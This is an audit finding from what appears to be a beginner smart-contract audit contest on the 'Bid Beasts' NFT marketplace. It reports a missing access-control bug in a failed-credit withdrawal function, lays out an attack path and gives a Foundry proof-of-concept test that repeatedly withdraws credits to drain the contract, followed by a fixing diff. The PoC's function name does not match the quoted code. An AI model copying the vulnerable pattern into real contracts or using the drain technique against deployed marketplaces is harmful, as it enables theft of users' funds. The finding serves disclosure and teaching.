Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control in `BidBeastsNFTMarketPlace::withdrawsAllFailedCredit` leads to draining of the protocol

yuseinov

User can drain the protocol using missing access control in `BidBeastsNFTMarketPlace::withdrawsAllFailedCredit`

Description

  • In the function to withdraw failed credits the input parameter is the address where there are unpaid funds. The function assumes that _receiver and msg.sender are the same and uses them interchangably but that leads to a problem as anyone can use any valid _receiver address and get funds from the protocol multiple times as the accounting changes msg.sender's mapping NOT the _receiver's.


@> function withdrawsAllFailedCredit(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

The issue is easily exploitable with the following attack path:

  • User Bob deploys a contract to bid for him, the contracts can't recieve ether (rejector contract).

  • He picks an NFT with the lowest buyNowPrice.

  • Bob bids over the buyNowPrice through the rejector contract, making the accounting have a high failedTransferCredits[rejector] value.

  • Bob calls function withdrawsAllFailedCredit with the rejector address as the _receiver however many times he wants until he drains the protocol of all funds.


Proof of Concept

Paste the following test and the modified RejectEther contract into BidBeastsMarketPlaceTest.t.sol.

pragma solidity 0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
​
// A mock contract that cannot receive Ether, to test the payout failure logic.
contract RejectEther {
// Intentionally has no payable receive or fallback
​
function placeBid(uint256 _nftId, address market) external payable {
BidBeastsNFTMarket(market).placeBid{value: msg.value}(_nftId);
}
​
}
​
contract BidBeastsNFTMarketTest is Test {
function test_stealFailedCredits() public {
​
address alice = address(0x1234);
address bob = address(0x5678);
​
vm.deal(bob, 10 ether);
​
//Marketplace has 20 eth from other bids
vm.deal(address(market), 20 ether);
​
// alice owns an NFT
vm.startPrank(OWNER);
uint256 nftId = nft.mint(alice);
vm.stopPrank();
​
// alice lists it on the marketplace
vm.startPrank(alice);
nft.approve(address(market), nftId);
market.listNFT(nftId, 1 ether, 5 ether);
vm.stopPrank();
​
// bob tries to buy it, using the buyNowPrice for speed
// he uses a contract that rejects the ether sent to it
vm.startPrank(bob);
rejector.placeBid{value: 10 ether}(nftId,address(market));
vm.stopPrank();
​
//assert that the rejector has 5 eth in failed credits
assertEq(getFailedCredits(address(rejector)) , 5 ether);
​
// bob can withdraw the failed credits he set up however many times he wants
// unitl he drains the protocol
vm.startPrank(bob);
for (uint i=0; i<5; i++) {
market.withdrawAllFailedCredits(address(rejector));
}
​
vm.stopPrank();
​
// Marketplace's accounting still thinks it owes the rejector 5 eth
assertEq(getFailedCredits(address(rejector)) , 5 ether);
// Marketplace is drained, bob has 25 eth since 5 eth got sent to alice
assertEq(bob.balance , 25 ether);
}
}

Recommended Mitigation

Allow either only msg.sender and _receiver to be the same address or make sure to send the funds strictly to _receiver.

function withdrawsAllFailedCredit(address _receiver) external {
+ require(msg.sender == _receiver);
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
+ failedTransferCredits[_receiver] = 0;
- failedTransferCredits[msg.sender] = 0;
​
+ (bool success, ) = payable(_receiver).call{value: amount}("");
- (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!